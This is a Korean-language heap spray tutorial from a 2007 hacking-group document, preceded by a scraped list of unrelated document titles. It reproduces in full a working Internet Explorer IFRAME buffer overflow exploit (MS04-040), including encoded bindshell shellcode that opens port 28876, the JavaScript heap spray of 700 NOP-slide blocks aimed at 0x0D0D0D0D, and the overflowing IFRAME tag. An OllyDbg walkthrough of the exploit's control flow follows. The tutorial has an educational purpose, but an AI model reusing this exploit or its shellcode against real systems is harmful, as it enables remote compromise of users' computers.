Microsoft Word - Heap_Spray.doc



Similar documents
Microsoft Word - ANI 취약점.doc

Deok9_Exploit Technique

hlogin2

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

IDA 5.x Manual hwp

15강 판소리계 소설 심청전 다음 글을 읽고 물음에 답하시오. [1106월 평가원] 1)심청이 수궁에 머물 적에 옥황상제의 명이니 거행이 오죽 하랴. 2) 사해 용왕이 다 각기 시녀를 보내어 아침저녁으로 문 안하고, 번갈아 당번을 서서 문안하고 호위하며, 금수능라 비

22최종합본.hwp

No Slide Title

SKINFOSEC_TECH_005_China Bot_가칭_ 악성코드 분석_v0.3.doc

=

내지4월최종

Microsoft PowerPoint - a10.ppt [호환 모드]

1) 음운 체계상의 특징 음운이란 언어를 구조적으로 분석할 때, 가장 작은 언어 단위이다. 즉 의미분화 를 가져오는 최소의 단위인데, 일반적으로 자음, 모음, 반모음 등의 분절음과 음장 (소리의 길이), 성조(소리의 높낮이) 등의 비분절음들이 있다. 금산방언에서는 중앙

Microsoft PowerPoint - a6.ppt [호환 모드]

부벽루 이색 핵심정리+핵심문제.hwp

PowerPoint 프레젠테이션

hlogin7

우리나라의 전통문화에는 무엇이 있는지 알아봅시다. 우리나라의 전통문화를 체험합시다. 우리나라의 전통문화를 소중히 여기는 마음을 가집시다. 5. 우리 옷 한복의 특징 자료 3 참고 남자와 여자가 입는 한복의 종류 가 달랐다는 것을 알려 준다. 85쪽 문제 8, 9 자료

상품 전단지

::: 해당사항이 없을 경우 무 표시하시기 바랍니다. 검토항목 검 토 여 부 ( 표시) 시 민 : 유 ( ) 무 시 민 참 여 고 려 사 항 이 해 당 사 자 : 유 ( ) 무 전 문 가 : 유 ( ) 무 옴 브 즈 만 : 유 ( ) 무 법 령 규 정 : 교통 환경 재

2

DBPIA-NURIMEDIA

화이련(華以戀) hwp

ÆòÈ�´©¸® 94È£ ³»Áö_ÃÖÁ¾

歯1##01.PDF

<5BC1F8C7E0C1DF2D31B1C75D2DBCF6C1A4BABB2E687770>

120229(00)(1~3).indd

01Report_210-4.hwp

<C3D1BCB15FC0CCC8C45FBFECB8AE5FB1B3C0B0C0C75FB9E6C7E D352D32315FC5E4292E687770>



교육 과 학기 술부 고 시 제 호 초 중등교육법 제23조 제2항에 의거하여 초 중등학교 교육과정을 다음과 같이 고시합니다. 2011년 8월 9일 교육과학기술부장관 1. 초 중등학교 교육과정 총론은 별책 1 과 같습니다. 2. 초등학교 교육과정은 별책

시험지 출제 양식

177

제주어 교육자료(중등)-작업.hwp

¸é¸ñ¼Ò½ÄÁö 63È£_³»Áö ÃÖÁ¾

<C3D6C1BE5FBBF5B1B9BEEEBBFDC8B0B0DCBFEFC8A C3D6C1BEBABB292E687770>

초등국어에서 관용표현 지도 방안 연구

6±Ç¸ñÂ÷

과 위 가 오는 경우에는 앞말 받침을 대표음으로 바꾼 [다가페]와 [흐귀 에]가 올바른 발음이 [안자서], [할튼], [업쓰므로], [절믐] 풀이 자음으로 끝나는 말인 앉- 과 핥-, 없-, 젊- 에 각각 모음으로 시작하는 형식형태소인 -아서, -은, -으므로, -음

민주장정-노동운동(분권).indd

untitled

<C0CEBCE2BABB2D33C2F7BCF6C1A420B1B9BFAAC3D1BCAD203130B1C72E687770>


E1-정답및풀이(1~24)ok

<C1B6BCB1B4EBBCBCBDC3B1E2342DC3D6C1BE2E687770>

< BDC3BAB8C1A4B1D4C6C75BC8A3BFDC D2E687770>

최우석.hwp

교사용지도서_쓰기.hwp

cls46-06(심우영).hwp

時 習 說 ) 5), 원호설( 元 昊 說 ) 6) 등이 있다. 7) 이 가운데 임제설에 동의하는바, 상세한 논의는 황패강의 논의로 미루나 그의 논의에 논거로서 빠져 있는 부분을 보강하여 임제설에 대한 변증( 辨 證 )을 덧붙이고자 한다. 우선, 다음의 인용문을 보도록

0429bodo.hwp

伐)이라고 하였는데, 라자(羅字)는 나자(那字)로 쓰기도 하고 야자(耶字)로 쓰기도 한다. 또 서벌(徐伐)이라고도 한다. 세속에서 경자(京字)를 새겨 서벌(徐伐)이라고 한다. 이 때문에 또 사라(斯羅)라고 하기도 하고, 또 사로(斯盧)라고 하기도 한다. 재위 기간은 6

ÀÎÅÍ³Ý ÁøÈï¿ø 3¿ù ÀúÇØ»ó

308 한국문학논총 제46집 그가 남긴 자료의 태반이 일본어 문건이라는 점과도 관련이 있겠으나, 그에 대한 한국학계의 대응은, 일부 회고담 및 임종국의 친일문학론 (1966), 1) 그리고 신지방주의론 과 민요시, 번역시 문제를 다룬 근래의 연구성과 수편을 제외하면,

H3050(aap)

bn2019_2

PRO1_09E [읽기 전용]

Deok9_PE Structure

공지사항

Microsoft PowerPoint - a8a.ppt [호환 모드]


zb 2) 짜내어 목민관을 살찌운다. 그러니 백성이 과연 목민관을 위해 있는 것일까? 아니다. 그건 아니다. 목민관이 백성 을 위해 있는 것이다. 이정 - ( ᄀ ) - ( ᄂ ) - 국군 - 방백 - 황왕 (나) 옛날에야 백성이 있었을 뿐이지, 무슨 목민관이 있 었던

본문01

MPLAB C18 C

목차 1. 개요 USB 드라이버 설치 (FTDI DRIVER) FTDI DRIVER 실행파일 USB 드라이버 확인방법 DEVICE-PROGRAMMER 설치 DEVICE-PROGRAMMER

망되지만, 논란은 더욱 증폭될 것으로 전망된다. 일단 광주지역 민주화 운동 세력 은 5.18기념식을 국가기념일로 지정 받은 데 이어 이 노래까지 공식기념곡으로 만 들어 5.18을 장식하는 마지막 아우라로 활용한다는 계획이다. 걱정스러운 건 이런 움직임이 이른바 호남정서

Microsoft Word - FunctionCall

Black Hole Exploit Kit PDF Exploit $selectedexploit =? 3 or 4 /games/pdf.php /games/pdf2.php CVE , CVE , CVE , CVE

[동고동락한다] [가슴 아프다] [비서관] 2013년 8월 19일 9.[비서관]덕에 아이가 탄생해서 [미역국] [맛있다] [처음엔 어떤 사연인 줄 몰랐었지만] 마귀와[동고동락한다]하였으니[가슴 아프다]하지만[처음엔 어떤 사연인 줄 몰랐었지만]여러 가지 말 못할 역경을

농심-내지

The_IDA_Pro_Book

Microsoft Word - ExecutionStack

사용 설명서 이용 안내 사용 설명서의 내용은 제품의 펌웨어 버전에 따라 사용자에게 통보 없이 일부 변경될 수 있습니다. 사용 설명서는 Windows XP 환경을 기준으로 설명하고 있으며 사용자의 OS 환경에 따라 다소 차이가 있을 수 있습니다. 제품에 사용된 음원, W

CKKeyPro 적용가이드

< B5BFBEC6BDC3BEC6BBE E687770>

APOGEE Insight_KR_Base_3P11

<3130BAB9BDC428BCF6C1A4292E687770>

11민락초신문4호

11¹Ú´ö±Ô

Product A4


Microsoft Word - building the win32 shellcode 01.doc

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

<32B1B3BDC32E687770>

10X56_NWG_KOR.indd

제1절 조선시대 이전의 교육

보광31호(4)

사진 24 _ 종루지 전경(서북에서) 사진 25 _ 종루지 남측기단(동에서) 사진 26 _ 종루지 북측기단(서에서) 사진 27 _ 종루지 1차 건물지 초석 적심석 사진 28 _ 종루지 중심 방형적심 유 사진 29 _ 종루지 동측 계단석 <경루지> 위 치 탑지의 남북중심

<C6EDC1FD2D30352D30302DB8F1C2F72E687770>

새만금세미나-1101-이양재.hwp

??

Sena Technologies, Inc. HelloDevice Super 1.1.0

652

歯 조선일보.PDF

1.hwp

<33B1C7C3D6C1BEBABB28BCF6C1A42D E687770>

<C1DFB1DE2842C7FC292E687770>

Copyrights and Trademarks Autodesk SketchBook Mobile (2.0.2) 2013 Autodesk, Inc. All Rights Reserved. Except as otherwise permitted by Autodesk, Inc.,

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

Transcription:

Heap Spray 본문서는 최근 웹 브라우저를 이용한 공격에 사용되는 Heap Spray 기법에 대한 내용을 수록하였다. 관련 내용에 대하여 많은 도움이 되기 바란다. 문서 내용은 초보자도 쉽게 이해할 수 있도록 관련 내용에 대한 설명을 포함하였다. Hacking Group OVERTIME force< forceteam01@gmail.com > 2007.05.13

1. 소개 최근 몇 개월간 Heap spray 기법은 브라우저의 취약성을 공격할 때 즐겨 사용되는 방법이 었다. 이 기법은 2004년 SkyLined 라는 해커에 의해서 소개되었으며 MS04-040 Internet Explorer 6 IFRAME 태그에서 SRC or NAME 인자에서 발생되는 Heap Overflow 취약성을 공 격할 때 이와 같은 기술을 사용하였다. Heap Spray 기법의 초점은 IE와 같은 웹 브라우저가 여러 취약점들에 의해서 비정상적인 메모리 주소로 jmp 또는 call할 때 사용된다는 점이다. 우리는 앞에서 말한 비정상적인 메 모리 주소를 heap Spray를 이용하여 정상적인 메모리 주소로 변경하여 프로그램의 실행 흐 름을 제어할 수 있게 된다. 여기서 Heap Spray 기술의 중요한 제한사항 두 가지가 나오게 된다. 첫째 이 기술의 이름에서 알 수 있듯이 우리는 heap에 자신이 원하는 내용을 뿌리게 되어 있다 이때 웹 브라우저가 가지고 있는 취약점이 비정상적인 메모리 주소로 jmp 또는 call을 하게 되는데 이때 heap spray 기법은 비정상적인 메모리 주소를 정상적으로 변경한다고 앞 에서 언급했다 그러면 heap spray는 heap에 우리가 원하는 내용을 뿌리는 기술이므로 당연 히 위에서 언급한 브라우저의 취약점으로 jmp 또는 call 하는 비정상적인 메모리 주소는 heap 메모리 영역이어야 한다. (heap 메모리 영역에서도 windows가 사용하는 DLL virtual address, PEB, TEB, 기타 등과 0x7fffffff 이상의 주소는 사용하지 못한다. 0x7fffffff 상위 주소는 kernel 주소 공간이기 때 문이다. 참고문헌 6번 참조) 둘째 우리는 어플리케이션의 heap을 통제할 수 있어야 한다. 그래서 우리가 heap을 통제할 수 있는 몇몇 어플리케이션이 있는데 그 중 하나가 바로 웹 브라우저이다. 웹 브라우저는 javascript를 이용하여 heap을 통제할 수 있다

정리하면 Heap Spray 기술은 웹 브라우저가 비정상적인 메모리 주소로 jmp 또는 call을 하 는 취약점이 존재할 때 비정상적인 메모리 주소를 정상적인 메모리 주소로 변경하기 위해서 heap에 NOP+SHELLCODE로 구성된 chunk를 비정상적인 주소가 정상적인 주소 (SHELLCODE가 실행될 때까지)가 될 때까지 heap에 계속 삽입하는 것을 말한다. 그림 1 Heap Spray 구조

2. Internet Exploiter Exploit 분석 2.1 Exploit 분석을 위한 배경 지식 2.1.1 32Bit 범용 레지스터 EAX EBX ECX EDX 이들 레지스터는 말 그대로 범용적인 목적으로 사용되는 레지스터로 크기는 각각 32 비트 이고 다른 레지스터에 비해서 비교적 다양한 역할을 한다. 이름에서도 짐작이 가겠지만 단 순히 A B C D 라는 이름을 가진 레지스터이다. A B C D 는 Accumulator, Base, Counter, Data 라는 단어의 첫 글자이기도 하다. 16비트 시절에는 AX, BX, CX, DX 라는 이름을 가지 고 있다가, 386 CPU부터 레지스터 의 크기가 32비트로 확장되면서 모두 이름 앞에 E(Extended) 가 붙여진 것이다. BOF관련돼서 아주 중요한 레지스터가 있는데 프로그램의 다음 명령을 수행할 주소가 들어 가게 되는 레지스터이다 이와 같은 역할을 하는 레지스터를 EIP 레지스터라고 하며 우리는 결국 EIP 레지스터에 세팅되는 값을 변경하여 해당 프로그램의 흐름을 제어하게 된다.

2.1.2 기본 어셈블리언어 어셈블리언어 구조 어셈블리언어에서 코드라인은 두 부분이 있다. 첫 번째는 실행되어야 할 명령어이고 두 번째는 명령어의 파라미터이다. 예를 들어, add ah bh 여기서 add는 실행될 명령어이고 ah, bh는 파라미터이다. 아래 예에서 mov라는 명령어를 사용했다. 이것은 25라는 값을 al 레지스터에 넣어 라는 뜻 이다. mov al, 25 명 령 push pop call jmp mov dst src or A,B 설 명 Stack에 값을 넣을 때 사용한다 Stack에서 값을 뺄 때 사용한다 Return address를 stack에 push하고 eip를 특정주소로 세팅한다 eip를 특정 주소로 세팅한다 Src를 dst에 넣는다 A와 B를 or 연산을 수행

2.2 SkyLined Internet Exploiter 분석 <HTML><!--,sSSSs, Ss, Internet Exploiter v0.1 SS" `YS' '*Ss. MSIE <IFRAME src=... name="..."> BoF PoC exploit is',ss" Copyright (C) 2003, 2004 by Berend-Jan Wever. YS,.ss,sY" http://www.edup.tudelft.nl/~bjwever `"YSSP" sss <skylined@edup.tudelft.nl> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 2, 1991 as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. A copy of the GNU General Public License can be found at: http://www.gnu.org/licenses/gpl.html or you can write to: Free Software Foundation, Inc. 59 Temple Place - Suite 330 Boston, MA 02111-1307 USA. 파란색 글씨는 필자가 추가한 주석이다 필자는 중요한 부분에 따로 주석을 추가하였다 --> <SCRIPT language="javascript"> // Win32 MSIE exploit helper script, creates a lot of nopslides to land in // and/or use as return address. Thanks to blazde for feedback and idears.

// Win32 bindshell (port 28876, ' 0' free, looping). Thanks to HDM and // others for inspiration and borrowed code. // 공격 성공 시 28876 port를 오픈하는 shellcode // shellcode는 unicode로 encoding 되어 있다 Shellcode = unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120 %u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75d f%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufc e0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850% u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%u fe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u40 50%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uc cfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u5 8fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6 %u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5 353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b %u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d %ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb"); // Nopslide will contain these bytes: bigblock = unescape("%u0d0d%u0d0d"); // Heap blocks in IE have 20 dwords as header headersize = 20; // This is all very 1337 code to create a nopslide that will fit exactly // between the the header and the shellcode in the heap blocks we want. // The heap blocks are 0x40000 dwords big, I can't be arsed to write good // documentation for this. slackspace = headersize+shellcode.length while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; // And now we can create the heap blocks, we'll create 700 of them to spray // enough memory to be sure enough that we've got one at 0x0D0D0D0D memory = new Array();

for (i=0;i<700;i++) memory[i] = block + shellcode; // heap에 NOPSLIDE(OD0D0D0D) + shellcode chunk를 700개 삽입 // CHUNK SIZE = NOPSLIDE Size(0x40000 )+ shellcode Size </SCRIPT> <!-- The exploit sets EAX to 0x0D0D0D0D after which this code gets executed: 7178EC02 8B08 MOV ECX, DWORD PTR [EAX] [0x0D0D0D0D] == 0x0D0D0D0D, so ecx = 0x0D0D0D0D. 7178EC04 68 847B7071 PUSH 71707B84 7178EC09 50 PUSH EAX 7178EC0A FF11 CALL NEAR DWORD PTR [ECX] Again [0x0D0D0D0D] == 0x0D0D0D0D, so we jump to 0x0D0D0D0D. We land inside one of the nopslides and slide on down to the shellcode. --> <IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB NAME="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

CCCCCCCCCCC??"></IFRAME> // 위 빨간색 물음표?? 부분은 Unicode로 인하여 깨져서 보이는 부분이다 // 실제 hex 값으로 보게 되면 0d 0d 0d 0d 값을 나타내고 있다 </HTML>

위의 exploit의 주석을 살펴보면 아래와 같은 주석이 있다 <!-- The exploit sets EAX to 0x0D0D0D0D after which this code gets executed: 7178EC02 8B08 MOV ECX, DWORD PTR [EAX] [0x0D0D0D0D] == 0x0D0D0D0D, so ecx = 0x0D0D0D0D. 7178EC04 68 847B7071 PUSH 71707B84 7178EC09 50 PUSH EAX 7178EC0A FF11 CALL NEAR DWORD PTR [ECX] Again [0x0D0D0D0D] == 0x0D0D0D0D, so we jump to 0x0D0D0D0D. We land inside one of the nopslides and slide on down to the shellcode. --> 이 주석의 핵심은 exploit을 실행하게 되면 EAX를 0x0D0D0D0D로 세팅 하고 MOV ECX, DWORD PTR [EAX] 명령에 의해서 ECX 또한 0x0D0D0D0D로 세팅 된다 그리고 CALL NEAR DWORD PTR [ECX] 명령은 CALL 0x0D0D0D0D와 동일하고 0x0D0D0D0D 에는 우리가 삽입한 shellcode가 존재하게 되므로 shellcode가 실행된다 그럼 디버깅을 통해서 해당 내용을 살펴보자. 먼저 살펴보기 전에 해당 exploit은 IFRAME BOF 공격이다 당연히 BOF는 <IFRAME SRC=file://B~~~ 부분에서 발생할 것이다. 그렇다면 BOF발생으로 EAX가 0x0D0D0D0D로 세팅 된다고 했는데 0D0D0D0D는 어디에 있는 것일까 의문이 생길 것이다. 여기서 0D0D0D0D는 해당 exploit이 Unicode로 되어있어서 hex Editor로 (http://www.hhdsoftware.com/download/hex-editor.exe) 내용을 확인하면 확인할 수 있다( 만일 위 에 소스코드를 복사해서 워드패드를 실행하고 복사한 소스코드를 붙여 넣고 유니코드로 저장하면 0d 0d 0d 0d는 3f 00 3f 00으로 표시된다) 테스트 환경은 Windows XP SP1 패치는 전혀 하지 않은 장비를 대상으로 테스트 했다 먼저 실제 exploit을 실행하게 되면 shellcode까지 정상적으로 실행되기 때문에 일단 Crash 를 발생시키기 위해서 0d 0d 0d 0d 값을 aa aa aa aa로 변경하고 olldbg로 crash를 확인해 본다

OllDbg로 확인하는 방법은 두 가지 이며 첫 번째는 Options 메뉴에서 Just-in-time debugging을 선택하고 Make OllyDbg just-in-time debugger를 확인해주면 되며 또 한가지는 File->open 메뉴를 선택하고 iexplor.exe와 해당 exploit html 파일을 인자로 주면 된다.(windbg가 편한 사람은 windbg로 하면 된다 실행은 windbg I 명령을 실행하면 crash가 났을 때 windbg가 실행된다) 그림 2 OllDbg 세팅화면 실행을 하게 되면 crash가 발생하면서 olldbg가 실행되게 되고 그 화면은 아래와 같다 그림 3 OllDbg 실행 화면 여기서 우리가 확인해야 할 사항은 당연히 EAX가 우리가 지정한 AAAAAAAA로 변경되었는 지 확인하는 것이다. 실행된 OllDbg화면의 우측 창의 레지스터값을 확인하는 창에서 EAX

값을 확인 하면 AAAAAAAA로 변경된 것을 확인할 수 있다. 또한 crash가 발생하는 offset 이 769A4B4A임을 확인하였다 그림 4 EAX 확인 여기서 우리는 EAX 값을 BOF를 이용하여 제어하는 것이 가능하게 되었다. 그러면 여기서 EAX를 exploit에서 0D0D0D0D로 세팅했을 때 어떤 과정으로 프로그램의 흐름이 진행되는 지 하나씩 알아보도록 하자 다시 exploit의 aa aa aa aa를 hex editor로 0d 0d 0d 0d로 변경 하고 olldbg를 두 번째 방법으로 실행하도록 한다. olldbg를 실행한 후 Goto(ctrl+g) 명령을 이용하여 이전에 crash가 발생했던 offset 769A4B4A로 이동하고 해당 offset에 BreaKpoint(F2)를 걸어주고 다시 실행(F9)시킨다. 처음 BK로 실행이 멈추면 아직 EAX가 0d0d0d0d가 아닐 것이다 이때는 다시 실행(F9)시키 고 이와 같은 과정을 반복하면 EAX가 0d0d0d0d로 변경되었을 때를 확인한다. 그림 5 EAX 변경 확인 EAX가 0D0D0D0D로 변경된 것을 확인 하고 이제부터 step into 명령을 이용하여 한 단계 씩 실행(F7)시키면서 해당 과정을 확인해 보겠다.

그림 6 ECX 변경 확인 769A4E93 8B08 MOV ECX,DWORD PTR DS:[EAX] Offset 769A4E93 에서 ECX를 0D0D0D0D로 변경하는 MOV ECX,DWORD PTR DS:[EAX] 명령을 확인할 수 있다 769A4E9B FF11 CALL DWORD PTR DS:[ECX] Offset 769A4E9B 에서 ECX를 CALL하는 CALL DWORD PTR DS:[ECX] 명령을 실행하게 되고 이때 ECX는 0D0D0D0D로 변경 되어 있으므로 CALL명령은 아래처럼 CALL 0D0D0D0D로 표현이 된다 그래서 Offset 0D0D0D0D을 확인해보면 아래와 같다 0D0D0D0D 0D 0D0D0D0D OR EAX,0D0D0D0D 0D0D0D0D는 우리가 Heap Spray로 뿌린 NOPSLIDE가 있는 것을 확인할 수 있다. 여기서 OR EAX,0D0D0D0D는 EAX에 ODODODOD가 세팅되어 있고 같은 값인 0D0D0D0D 를 OR 연산을 수행 하므로 결국 EAX를 계속 ODODODOD로 세팅하게 되고 아래 그림에서 확인할 수 있듯이 EAX,ECX,EIP값의 변경이 없이 순차적으로 실행하는 것을 확인할 수 있 다. i 그림 7 OR EAX,0D0D0D0D 실행화면

결과적으로는 이와 같은 과정을 반복하다가 NOPSLIDE뒤에 있는 SHELLCODE를 실행하게 되고 port 28876을 오픈 하는 것을 확인할 수 있다. 그림 8 NOPSLIDE와 SHELLCODE 구성 그림 9 port 28876 오픈 확인

여기까지 heap Spray에 대해서 설명했다. 다시 한번 말하지만 heap Spray 기술은 웹 브라 우저의 취약성에 의해서 비정상적인 메모리 주소로 jmp 또는 call할 때 비정상적인 메모리 주소(heap 영역의 주소)에 NOPSLIDE+SHELLCODE Chunk를 계속 삽입하여 비정상적인 메 모리 주소를 정상적인 메모리 주소로 변경하여 해당 프로그램의 흐름을 제어하는 공격기법 이다. 하지만 웹 브라우저 공격에서 일반적인 Stack 기반 BOF에서 취약점에서도 Heap Spray 기술을 이용하여 heap에 우리가 원하는 코드를 뿌리고 RET 주소를 해당 주소로 변 경하면 원하는 명령을 실행할 수 있게 된다. 좀 더 자세한 내용을 원하는 사람은 아래 참고문헌에서 3, 4 번도 한번 연구해 보기 바라며 Blackhat 2007 Europe 에서 Alexander Sotirov가 발표한 Heap Feng Shui in JavaScript 자료도 살펴보기 바란다. 3. 참고문헌 1. http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html 2. http://sf-freedom.blogspot.com/2006/07/heap-spraying-internet-exploiter.html 3. http://sf-freedom.blogspot.com/2006/09/heap-spraying-exploiting-internet.html 4. http://sf-freedom.blogspot.com/2006/06/heap-spraying-ie-createtextrange.html 5. https://www.blackhat.com/presentations/bh-europe-07/sotirov/whitepaper/bh-eu-07-sotirov-wp.pdf 6.http://www.openrce.org/reference_library/files/reference/Windows%20Memory%20Layout,%20User- Kernel%20Address%20Spaces.pdf